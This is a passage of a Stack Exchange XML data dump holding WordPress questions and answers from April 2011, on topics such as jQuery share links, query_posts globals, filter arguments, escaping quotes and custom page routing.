  <row Id="13761" PostTypeId="1" CreationDate="2011-04-02T13:37:38.150" Score="0" ViewCount="173" Body="&lt;p&gt;I got social bookmarks in jQuery, but how can I get post titles and permalinks in this snippet? If I put &lt;code&gt;&amp;lt;?php echo get_permalink(); ?&amp;gt;&lt;/code&gt; in there, the whole site gets blank.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$('a[rel=shareit-twitter]').attr('href', 'http://twitter.com/home?status=' + title + '%20-%20' + title);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;UPDATE:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the whole jQuery for the bookmarking:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script type=&quot;text/javascript&quot;&amp;gt;&#xA;   jQuery(&#xA;    function() {&#xA;         //grab all the anchor tag with rel set to shareit&#xA;    $('a[rel=shareit], #shareit-box').click(function(e) {      &#xA;         e.preventDefault();&#xA;        //get the height, top and calculate the left value for the sharebox&#xA;        var height = $(this).height();&#xA;        var top = $(this).offset().top;&#xA;&#xA;        //get the left and find the center value&#xA;        var left = $(this).offset().left + ($(this).width() /2) - ($('#shareit-box').width() / 2);     &#xA;&#xA;        //grab the href value and explode the bar symbol to grab the url and title&#xA;        //the content should be in this format url|title&#xA;        var value = $(this).attr('href').split('|');&#xA;&#xA;        //assign the value to variables and encode it to url friendly&#xA;        var field = value[0];&#xA;        var url = encodeURIComponent(value[0]);&#xA;        var title = encodeURIComponent(value[1]);&#xA;&#xA;        //assign the height for the header, so that the link is cover&#xA;        $('#shareit-header').height(height);&#xA;&#xA;        //display the box&#xA;        $('#shareit-box').show();&#xA;&#xA;        //set the position, the box should appear under the link and centered&#xA;        $('#shareit-box').css({'top':top, 'left':left});&#xA;&#xA;        //assign the url to the textfield&#xA;        $('#shareit-field').val(field);&#xA;&#xA;        //make the bookmark media open in new tab/window&#xA;        $('a.shareit-sm').attr('target','_blank');&#xA;&#xA;        //Setup the bookmark media url and title&#xA;        $('a[rel=shareit-mail]').attr('href', 'http://mailto:?subject=' + title);&#xA;        $('a[rel=shareit-facebook]').attr('href', 'http://www.facebook.com/share.php?u=' + url + '&amp;amp;title=' + title);&#xA;        $('a[rel=shareit-posterous]').attr('href', 'http://posterous.com/share?linkto=' + url + '&amp;amp;title=' + title);&#xA;        $('a[rel=shareit-twitter]').attr('href', 'http://twitter.com/home?status=' + title + '%20-%20' + title);&#xA;    });&#xA;&#xA;    //onmouse out hide the shareit box&#xA;    $('#shareit-box').mouseleave(function () {&#xA;        $('#shareit-field').val('');&#xA;        $(this).hide();&#xA;    });&#xA;&#xA;    //hightlight the textfield on click event&#xA;    $('#shareit-field').click(function () {&#xA;        $(this).select();&#xA;    });&#xA;});&#xA;  &amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3232" LastEditorUserId="3232" LastEditorDisplayName="" LastEditDate="2011-04-03T08:56:29.307" LastActivityDate="2011-08-31T15:37:37.507" Title="jquery bookmark links" Tags="&lt;jquery&gt;&lt;bookmark&gt;" AnswerCount="1" CommentCount="5" />
  <row Id="13764" PostTypeId="1" AcceptedAnswerId="13765" CreationDate="2011-04-02T19:01:40.897" Score="2" ViewCount="267" Body="&lt;p&gt;This has me stumped for a while already. Either I am missing something very obvious or something very not obvious. I am also not entirely sure if this has something to do with WP or purely PHP mechanics at work.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function test() {&#xA;&#xA;    global $wp_query;&#xA;&#xA;    var_dump($wp_query == $GLOBALS['wp_query']);&#xA;}&#xA;&#xA;function test2() {&#xA;&#xA;    global $wp_query;&#xA;&#xA;    query_posts(array('posts_per_page' =&amp;gt; 1));&#xA;    var_dump($wp_query == $GLOBALS['wp_query']);&#xA;}&#xA;&#xA;test();&#xA;test2();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Result:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;boolean true &lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;boolean false&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Why does &lt;code&gt;test()&lt;/code&gt; evaluates that to &lt;code&gt;true&lt;/code&gt;, but &lt;code&gt;test2()&lt;/code&gt; evaluates that to &lt;code&gt;false&lt;/code&gt;?&lt;/p&gt;&#xA;" OwnerUserId="847" LastEditorUserId="847" LastEditorDisplayName="" LastEditDate="2011-04-02T19:09:49.177" LastActivityDate="2011-04-03T14:46:50.567" Title="query_posts() in function makes global $wp_query out of sync?" Tags="&lt;query-posts&gt;&lt;wp-query&gt;&lt;global&gt;" AnswerCount="2" FavoriteCount="1" />
  <row Id="13765" PostTypeId="2" ParentId="13764" CreationDate="2011-04-02T19:35:15.297" Score="2" ViewCount="" Body="&lt;p&gt;From &lt;strong&gt;wp-includes/query.php&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function &amp;amp;query_posts($query) {&#xA;    unset($GLOBALS['wp_query']);&#xA;    $GLOBALS['wp_query'] =&amp;amp; new WP_Query();&#xA;    return $GLOBALS['wp_query']-&amp;gt;query($query);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Do you see it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;BTW: Someone has made a &lt;a href=&quot;http://wordpress.stackexchange.com/questions/1753/when-should-you-use-wp-query-vs-query-posts-vs-get-posts/1755#1755&quot;&gt;nice flowchart&lt;/a&gt; about this very topic. ;)&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Update&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;query_posts()&lt;/code&gt; changes &lt;code&gt;$GLOBALS&lt;/code&gt; while all references to the variable &lt;code&gt;$wp_query&lt;/code&gt; that you made available per &lt;code&gt;global&lt;/code&gt; are &lt;em&gt;not affected&lt;/em&gt; by &lt;a href=&quot;http://php.net/manual/en/function.unset.php&quot; rel=&quot;nofollow&quot;&gt;unset&lt;/a&gt;. That’s one reason to prefer &lt;code&gt;$GLOBALS&lt;/code&gt; (besides readability).&lt;/p&gt;&#xA;" OwnerUserId="73" LastEditorUserId="73" LastEditorDisplayName="" LastEditDate="2011-04-02T20:56:22.217" LastActivityDate="2011-04-02T20:56:22.217" CommentCount="8" />
  <row Id="13766" PostTypeId="2" ParentId="13673" CreationDate="2011-04-02T19:44:03.130" Score="0" ViewCount="" Body="&lt;p&gt;Added the following to my functions.php:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;define('WPMS_DELAY',5);&#xA;define('WPMS_OPTION','wp_missed_schedule');&#xA;function wpms_replacements_deactivate(){delete_option(WPMS_OPTION);}register_deactivation_hook(__FILE__,'wpms_replacements_deactivate');&#xA;&#xA;function wpms_init(){&#xA;    remove_action('publish_future_post','check_and_publish_future_post');&#xA;    $last=get_option(WPMS_OPTION,false);&#xA;    if(($last!==false)&amp;amp;&amp;amp;($last&amp;gt;(time()-(WPMS_DELAY*60))))&#xA;    return;update_option(WPMS_OPTION,time());&#xA;    global$wpdb;$scheduledIDs=$wpdb-&amp;gt;get_col(&#xA;        &quot;SELECT`ID`FROM`{$wpdb-&amp;gt;posts}`&quot;.&#xA;        &quot;WHERE(&quot;.&quot;((`post_date`&amp;gt;0)&amp;amp;&amp;amp;(`post_date`&amp;lt;=CURRENT_TIMESTAMP()))&#xA;        OR&quot;.&quot;((`post_date_gmt`&amp;gt;0)&amp;amp;&amp;amp;(`post_date_gmt`&amp;lt;=UTC_TIMESTAMP()))&quot;.&quot;)&#xA;        AND`post_status`='future'&#xA;        LIMIT 0,10&quot;);&#xA;    if(!count($scheduledIDs))return;&#xA;        foreach($scheduledIDs as$scheduledID){if(!$scheduledID)continue;wp_publish_post($scheduledID);}}&#xA;&#xA;    add_action('init','wpms_init',0)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1463" LastActivityDate="2011-04-02T19:44:03.130" />
  <row Id="13767" PostTypeId="1" CreationDate="2011-04-02T20:01:26.463" Score="0" ViewCount="70" Body="&lt;p&gt;I'm using a filter on the get_bookmarks function. When I use two arguments in my filter function I get the result array and nothing for the second arg (it should be the parsed query).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's what I'm mean:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function samiconductor_sort_links_by_order( $results, $args ) {&#xA;    echo print_r($args); // nothing&#xA;&#xA;    function order($a, $b) {&#xA;        $a_order = get_option( &quot;link_order_$a-&amp;gt;link_id&quot;, 0 );&#xA;        $b_order = get_option( &quot;link_order_$b-&amp;gt;link_id&quot;, 0 );&#xA;&#xA;        if ( $a_order == $b_order ) {&#xA;            return 0;&#xA;        }&#xA;        return ( $a_order &amp;gt; $b_order ) ? -1 : 1;&#xA;    }&#xA;&#xA;    usort( $results, order );&#xA;&#xA;    return array_reverse($results);&#xA;}&#xA;add_filter( 'get_bookmarks', 'samiconductor_sort_links_by_order' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And here's the get_bookmarks function - &lt;a href=&quot;http://core.trac.wordpress.org/browser/tags/3.1/wp-includes/bookmark.php#L82&quot; rel=&quot;nofollow&quot;&gt;source&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you can see, it should pass $r = wp_parse_args( $args, $defaults ); as the second arg to the filter.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Am I missing something?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="4392" LastEditorUserId="847" LastEditorDisplayName="" LastEditDate="2011-04-02T20:23:54.297" LastActivityDate="2011-04-02T20:25:54.767" Title="get_bookmarks filter not supplying query argument (wp 3.1)" Tags="&lt;filters&gt;&lt;get-bookmarks&gt;" AnswerCount="1" />
  <row Id="13768" PostTypeId="1" CreationDate="2011-04-02T20:22:31.040" Score="0" ViewCount="110" Body="&lt;p&gt;For some reason when i try to put like a embeded video my video has slashes inside the code, but if I add it in the template itself then the code is fine i was told its &quot;escaping quotes&quot; anyhow this is what i have.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Functions file&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;    add_action ( 'edit_category_form_fields', 'extra_category_fields');&#xA;    function extra_category_fields( $tag ) {    //check for existing featured ID&#xA;        $t_id = $tag-&amp;gt;term_id;&#xA;        $cat_meta = get_option( &quot;category_$t_id&quot;);&#xA;?&amp;gt;&#xA;&#xA;            &amp;lt;textarea name=&quot;Cat_meta[extra4]&quot; id=&quot;Cat_meta[extra4]&quot; style=&quot;width:60%;&quot;&amp;gt;&amp;lt;?php echo $cat_meta['extra4'] ? $cat_meta['extra4'] : ''; ?&amp;gt;&amp;lt;/textarea&amp;gt;&amp;lt;br /&amp;gt;&#xA;            &amp;lt;span class=&quot;description&quot;&amp;gt;&amp;lt;?php _e('Video'); ?&amp;gt;&amp;lt;/span&amp;gt;&#xA;        &amp;lt;/td&amp;gt;&#xA;&amp;lt;/tr&amp;gt;&#xA;&amp;lt;?php&#xA;}&#xA;&#xA;&#xA;add_action ( 'edited_category', 'save_extra_category_fileds');&#xA;function save_extra_category_fileds( $term_id ) {&#xA;    if ( isset( $_POST['Cat_meta'] ) ) {&#xA;        $t_id = $term_id;&#xA;        $cat_meta = get_option( &quot;category_$t_id&quot;);&#xA;        $cat_keys = array_keys($_POST['Cat_meta']);&#xA;            foreach ($cat_keys as $key){&#xA;            if (isset($_POST['Cat_meta'][$key])){&#xA;                $cat_meta[$key] = $_POST['Cat_meta'][$key];&#xA;            }&#xA;        }&#xA;        update_option( &quot;category_$t_id&quot;, $cat_meta );&#xA;    }&#xA;}&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Template file&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;center&amp;gt;&#xA;&amp;lt;?php &#xA;if (isset($cat_data['extra4'])){&#xA;echo $cat_data['extra4'];&#xA;}&#xA;?&amp;gt;&#xA;&amp;lt;/center&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I can also post the embed code for the video im trying to post if that helps its pretty long though&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help is greatly appreciated.&lt;/p&gt;&#xA;" OwnerUserId="2635" LastEditorUserId="2487" LastEditorDisplayName="" LastEditDate="2011-04-02T20:49:10.277" LastActivityDate="2011-08-31T08:37:31.900" Title="Escaping Quotes" Tags="&lt;custom-field&gt;&lt;videos&gt;&lt;text&gt;&lt;categories&gt;" AnswerCount="3" CommentCount="1" />
  <row Id="13769" PostTypeId="2" ParentId="13767" CreationDate="2011-04-02T20:25:54.767" Score="2" ViewCount="" Body="&lt;p&gt;By default &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/add_filter&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;add_filter()&lt;/code&gt;&lt;/a&gt; instructs WP to only pass first parameter to your hooked function. If you want more you need to specify that (and priority which comes earlier and defaults to 10):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter( 'get_bookmarks', 'samiconductor_sort_links_by_order', 10, 2 );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-04-02T20:25:54.767" CommentCount="1" />
  <row Id="13770" PostTypeId="2" ParentId="13768" CreationDate="2011-04-02T20:33:34.730" Score="0" ViewCount="" Body="&lt;p&gt;If I remember right WordPress emulates magic quotes in any case and disregards server setting for them. But this is trivia. :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Practical part is to try &lt;code&gt;stripslashes()&lt;/code&gt; on your value if you are getting it from form.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-04-02T20:33:34.730" />
  <row Id="13771" PostTypeId="2" ParentId="12888" CreationDate="2011-04-02T22:46:51.890" Score="1" ViewCount="" Body="&lt;p&gt;Is it an outbound link? Otherwise it should automatically get tracked (as a page view). If it is outbound, I'd set a class on the custom menu item in Wordpress (using the CSS Classes (optional) field). Then you could trigger that link with JavaScript. For example, with jQuery you could do something like this (assuming you are using the Async version of Google Analytics):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$('.custom-classname').delegate('a', 'click', function(e) {&#xA;   e.preventDefault();&#xA;   _gat._getTrackerByName()._trackEvent('outbound', 'custom link');&#xA;   var lnk = $(this).attr('href');&#xA;   setTimeout('document.location = &quot;' + lnk + '&quot;', 100);&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The setTimeout is there to make sure that Google Analytics has time to read the event before the browser sends the user to the outbound link.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope that helps.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Link:&#xA;&lt;a href=&quot;http://www.google.com/support/analytics/bin/answer.py?answer=55527&quot; rel=&quot;nofollow&quot;&gt;http://www.google.com/support/analytics/bin/answer.py?answer=55527&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="4394" LastActivityDate="2011-04-02T22:46:51.890" />
  <row Id="13773" PostTypeId="2" ParentId="13556" CreationDate="2011-04-02T23:46:52.877" Score="1" ViewCount="" Body="&lt;p&gt;try the following plugins: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/conditional-custom-fields-shortcode/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/conditional-custom-fields-shortcode/&lt;/a&gt;&#xA;or &#xA;&lt;a href=&quot;http://wordpress.org/extend/plugins/custom-fields-shortcode/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/custom-fields-shortcode/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;good luck.&lt;/p&gt;&#xA;" OwnerUserId="4396" LastActivityDate="2011-04-02T23:46:52.877" CommentCount="1" />
  <row Id="13774" PostTypeId="1" CreationDate="2011-04-03T00:09:27.563" Score="0" ViewCount="86" Body="&lt;p&gt;I need the Plugin about Ask Questions and answer Like this website, where can i get it? i really need and hope somebody in here can help me.&lt;/p&gt;&#xA;" OwnerUserId="4397" LastActivityDate="2011-04-03T00:42:19.227" Title="I need the Plugin about Ask Questions and answer" Tags="&lt;plugins&gt;" AnswerCount="1" />
  <row Id="13775" PostTypeId="1" AcceptedAnswerId="13805" CreationDate="2011-04-03T00:17:39.440" Score="0" ViewCount="88" Body="&lt;p&gt;The question is pretty simple, but it's complex in fact.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have implemented custom sidebars for each post/page function in my blog.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It looks like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div id=&quot;&amp;lt;?php echo get_option('sidebar-layout');&quot; ?&amp;gt;&#xA; &amp;lt;div id=&quot;content&quot;&amp;gt;&#xA;   Some content&#xA;   [myshortcode]&#xA; &amp;lt;/div&amp;gt;&#xA; &amp;lt;div id=&quot;sidebar&quot;&amp;gt;&#xA;   Sidebar &#xA; &amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;sidebar-layout option can have three values - left, right and none. And none is default. They are all set via metabox under post/page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The biggest problem here is that when user chooses left - the first div gets &quot;left&quot; class and everything else is based on this ID, eg.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#left #content {&#xA;     style;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And when he takes &quot;right&quot; then different style is applied:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#right #content {&#xA;     another style;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So my &quot;myshortcode&quot; should basically change parents DIV id.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas how to achieve that? I believe my shortcode will be executed AFTER the div ID.&lt;/p&gt;&#xA;" OwnerUserId="1869" LastActivityDate="2011-04-03T11:44:03.870" Title="Hide/disable sidebar using shortcode?" Tags="&lt;theme-development&gt;&lt;sidebar&gt;&lt;shortcode&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="13776" PostTypeId="2" ParentId="13774" CreationDate="2011-04-03T00:42:19.227" Score="1" ViewCount="" Body="&lt;p&gt;Try &lt;a href=&quot;http://wordpress.org/extend/plugins/question-and-answer-forum/&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Question and Answer Forum&lt;/strong&gt;&lt;/a&gt; plugin, very easy to use and has lots of features.&#xA;And the best part is that it's under active development so new features are popping out with each new version.&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-04-03T00:42:19.227" CommentCount="2" />
  <row Id="13777" PostTypeId="1" CreationDate="2011-04-02T04:21:58.577" Score="0" ViewCount="261" Body="&lt;p&gt;I had recently moved my wp site from a domain to other, but when I type in the new domain's address it gets redirected to the old domain/some_page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this any common problem?  Is there any known solution to this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I had checked my code and it has no redirects to this page.  Can someone give me a hand on this?&lt;/p&gt;&#xA;" OwnerUserId="4416" LastEditorUserId="3266" LastEditorDisplayName="" LastEditDate="2011-04-03T01:11:58.807" LastActivityDate="2011-04-13T15:28:38.780" Title="My wordpress site gets redirected automatically to the old site any known solution for this?" Tags="&lt;wp-admin&gt;&lt;domain&gt;" AnswerCount="2" FavoriteCount="1" />
  <row Id="13778" PostTypeId="2" ParentId="13777" CreationDate="2011-04-02T04:34:24.020" Score="5" ViewCount="" Body="&lt;p&gt;This is because the URL settings inside WordPress are still pointing to the old WordPress site. In other words, you didn't read the &lt;a href=&quot;http://codex.wordpress.org/Moving_WordPress&quot; rel=&quot;nofollow&quot;&gt;Moving WordPress&lt;/a&gt; article in the documentation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If your WordPress admin pages are still working, you can go to Settings → General, and change the WordPress URL and the Site Address to the correct values.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If your WordPress site is completely broken, then you can add the following values to &lt;code&gt;wp-config.php&lt;/code&gt;, which will have the same effect:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;define('WP_HOME', 'http://your_server/your_blog_url');&#xA;define('WP_SITEURL', 'http://your_server/your_wordpress_url');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note that in most cases, the above two values will the same same, apart from &lt;a href=&quot;http://codex.wordpress.org/Giving_WordPress_Its_Own_Directory&quot; rel=&quot;nofollow&quot;&gt;exceptional circumstances.&lt;/a&gt;&lt;/p&gt;&#xA;" LastActivityDate="2011-04-02T04:34:24.020" CommentCount="2" />
  <row Id="13779" PostTypeId="2" ParentId="13777" CreationDate="2011-04-02T12:57:06.710" Score="2" ViewCount="" Body="&lt;p&gt;Give DNS 12-24 hours to propogate. Flush the DNS cache on your PC. Search your database with phpmyadmin for all occurrences of the old URL. Check your theme files for hardcoded URLs. Reset Dashboard&gt;&gt;Settings&gt;&gt;Permalinks.&lt;/p&gt;&#xA;" OwnerUserId="268" LastActivityDate="2011-04-02T12:57:06.710" CommentCount="3" />
  <row Id="13780" PostTypeId="1" CreationDate="2011-04-03T01:26:18.597" Score="0" ViewCount="145" Body="&lt;p&gt;I have a custom post type &lt;code&gt;sites&lt;/code&gt; registered via &lt;code&gt;register_post_type&lt;/code&gt; and my front page displays my latest posts. Including posts from &lt;code&gt;sites&lt;/code&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any way I can set it up so that &lt;strong&gt;posts from sites&lt;/strong&gt; (custom post type) that have &lt;strong&gt;no post body&lt;/strong&gt; (no content) will &lt;strong&gt;NOT&lt;/strong&gt; be displayed?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The body of the custom post type is not &lt;em&gt;important&lt;/em&gt;, the title is. I introduced custom fields for my custom post type. I make a list from custom posts and majority of them do not have any body. So I do not want to display them. It will only make the web harder to read. I want to display only custom posts that have body.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have not modify the loop.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I modify the loop (introduce custom query) as a part of plugin?&lt;/p&gt;&#xA;" OwnerUserId="238" LastEditorUserId="251" LastEditorDisplayName="" LastEditDate="2011-04-03T06:40:49.397" LastActivityDate="2011-04-03T06:40:49.397" Title="Don't display post if post has empty body" Tags="&lt;custom-post-types&gt;&lt;plugin-development&gt;" AnswerCount="1" />
  <row Id="13781" PostTypeId="2" ParentId="13242" CreationDate="2011-04-03T01:35:27.423" Score="2" ViewCount="" Body="&lt;p&gt;Hi &lt;strong&gt;@Ross Bearman:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm still struggling with the exact requirements but if I understand correctly I think  you can do to accomplish your goals if you use the code I provide you below and then do the following:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Create a page for each of your services &lt;em&gt;(which it sounds like you have already done):&lt;/em&gt; &lt;code&gt;/service1/&lt;/code&gt;, &lt;code&gt;/service2/&lt;/code&gt;, etc.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Create a &lt;em&gt;&quot;base&quot;&lt;/em&gt; service page, with a URL of &lt;code&gt;/base-service/&lt;/code&gt;; don't worry, nobody will ever see this on the outside of the website.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Assign &lt;code&gt;/base-service/&lt;/code&gt; as the parent &lt;em&gt;(or grandparent)&lt;/em&gt; page for all the &lt;em&gt;&quot;virtual shared&quot;&lt;/em&gt; child pages you want replicated under each service.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Create any service specific pages that you also might want to have and assign them to the proper page &lt;em&gt;(i.e. &quot;Service 2&quot;, for example.)&lt;/em&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Create a &lt;a href=&quot;http://wordpress.stackexchange.com/questions/9660/custom-page-template/9672#9672&quot;&gt;page template in your theme&lt;/a&gt; for your services called &lt;code&gt;page-service.php&lt;/code&gt; and make sure each of your service pages uses that page template &lt;em&gt;(this is needed so we can identify which of your pages are meant to be services)&lt;/em&gt;.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;So here's the code for a class that I called &lt;code&gt;Yoursite_SharedChildPages&lt;/code&gt; which you can store in your theme's &lt;code&gt;functions.php&lt;/code&gt; file, or in a &lt;code&gt;.php&lt;/code&gt; file of a plugin that you might be writing for your site:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (!class_exists('Yoursite_SharedChildPages')) {&#xA;  class Yoursite_SharedChildPages {&#xA;    // If wanted we could enhance to allow these values to be defined in an 'init' hook&#xA;    static $PAGE_TEMPLATE = 'page-service.php';&#xA;    static $ABSTRACT_ROOT = 'base-service';&#xA;    static function on_load() {&#xA;      // Hook 'request' to route the request correctly&#xA;      add_filter('request',array(__CLASS__,'request'));&#xA;      // Hook 'page_link' to compose URLs correctly&#xA;      add_filter('page_link',array(__CLASS__,'page_link'));&#xA;    }&#xA;    static function request($query_vars) {&#xA;      if (!empty($query_vars['pagename'])) {&#xA;        // If the page URL rewrite matched meaning WordPress thinks it's a Page&#xA;        // Split the URL path by path segments (i.e. by slashes)&#xA;        $pagename = explode('/',$query_vars['pagename']);&#xA;        if ($pagename[0] == self::$ABSTRACT_ROOT) {&#xA;          // If the first path segment is the abstract root we care about&#xA;          if (count($pagename)==1) {&#xA;          // Don't allow anyone to visit this abstract root page&#xA;            $pagename = array('#'); // An invalid page name, so it will 404&#xA;          } else {&#xA;            // If it is a child page in which case redirect to the first service&#xA;            // This is important so the user can view the page after they edit it&#xA;            $pages = self::get_page_ids_by_template(self::$PAGE_TEMPLATE);&#xA;            if (isset($pages[0]) &amp;amp;&amp;amp; $page = get_post($pages[0])) {&#xA;              // Assuming we have at least one page with the page template&#xA;              $pagename[0] = $page-&amp;gt;post_name;&#xA;              // then redirect to it the first service found.&#xA;              wp_safe_redirect('/'.implode('/',$pagename).'/');&#xA;              exit;&#xA;            }&#xA;          }&#xA;        } else if (count($pagename)&amp;gt;1) {&#xA;          // If there are child pages&#xA;          if (get_page_by_path($query_vars['pagename'])) {&#xA;            // If it is an actual child page then just let it pass thru&#xA;          } else {&#xA;              // If a virtual child page then see if parent has the template&#xA;            $parent = get_page_by_path($pagename[0]);&#xA;            $pages = self::get_page_ids_by_template(self::$PAGE_TEMPLATE);&#xA;            if (in_array($parent-&amp;gt;ID,$pages)) {&#xA;              // If virtual child of a service page, change parent to the abstract root&#xA;              $pagename[0] = self::$ABSTRACT_ROOT;&#xA;              $query_vars['pagename'] = implode('/',$pagename);&#xA;              // The URL doesn't match a virtual page, will appropriately get a 404&#xA;            }&#xA;          }&#xA;        } else {&#xA;          $pagename = false;&#xA;        }&#xA;      }&#xA;      if (is_array($pagename))&#xA;        $query_vars['pagename'] = implode('/',$pagename);&#xA;      return $query_vars;&#xA;    }&#xA;    static function get_page_ids_by_template($template) {&#xA;      // This can be performance optimized but I wouldn't worry about it &#xA;      // until there is a performance issue&#xA;      global $wpdb;&#xA;      $sql = &quot;SELECT post_id FROM {$wpdb-&amp;gt;postmeta} &quot; . &#xA;             &quot;WHERE meta_key='_wp_page_template' AND meta_value='%s'&quot;;&#xA;      return $wpdb-&amp;gt;get_col($wpdb-&amp;gt;prepare($sql,$template));&#xA;    }&#xA;    static function page_link($link) {&#xA;      $parts = explode('/',$link);&#xA;      if ($parts[3]==self::$ABSTRACT_ROOT) {&#xA;        // This is really only useful for links in the admin.&#xA;        if (!is_admin()) {&#xA;          global $wp_query;&#xA;          if (!empty($wp_query-&amp;gt;query_vars['pagename'])) {&#xA;            $pagename = explode('/',$wp_query-&amp;gt;query_vars['pagename']);&#xA;          }&#xA;        } else {&#xA;          // If we get a URL that uses the abstract root, assign it the first service.&#xA;          $pages = self::get_page_ids_by_template(self::$PAGE_TEMPLATE);&#xA;          if (isset($pages[0]) &amp;amp;&amp;amp; $page = get_post($pages[0])) {&#xA;            // Assuming we have at least one page with the page template&#xA;            $parts[3] = $page-&amp;gt;post_name;&#xA;            // then redirect to it the first service found.&#xA;            $link = implode('/',$parts);&#xA;          } else {&#xA;            $link = preg_replace('#^(https?://[^/]+)(/.*)$#','$1',$link);&#xA;          }&#xA;        }&#xA;      }&#xA;      return $link;&#xA;    }&#xA;  }&#xA;  Yoursite_SharedChildPages::on_load();&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And here are some screenshots that can illustrate the steps mentioned above:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://mikeschinkel.com/websnaps/skitched-20110402-184837.png&quot; alt=&quot;&quot;&gt;&#xA;&lt;img src=&quot;http://mikeschinkel.com/websnaps/skitched-20110402-185216.png&quot; alt=&quot;&quot;&gt;&#xA;&lt;img 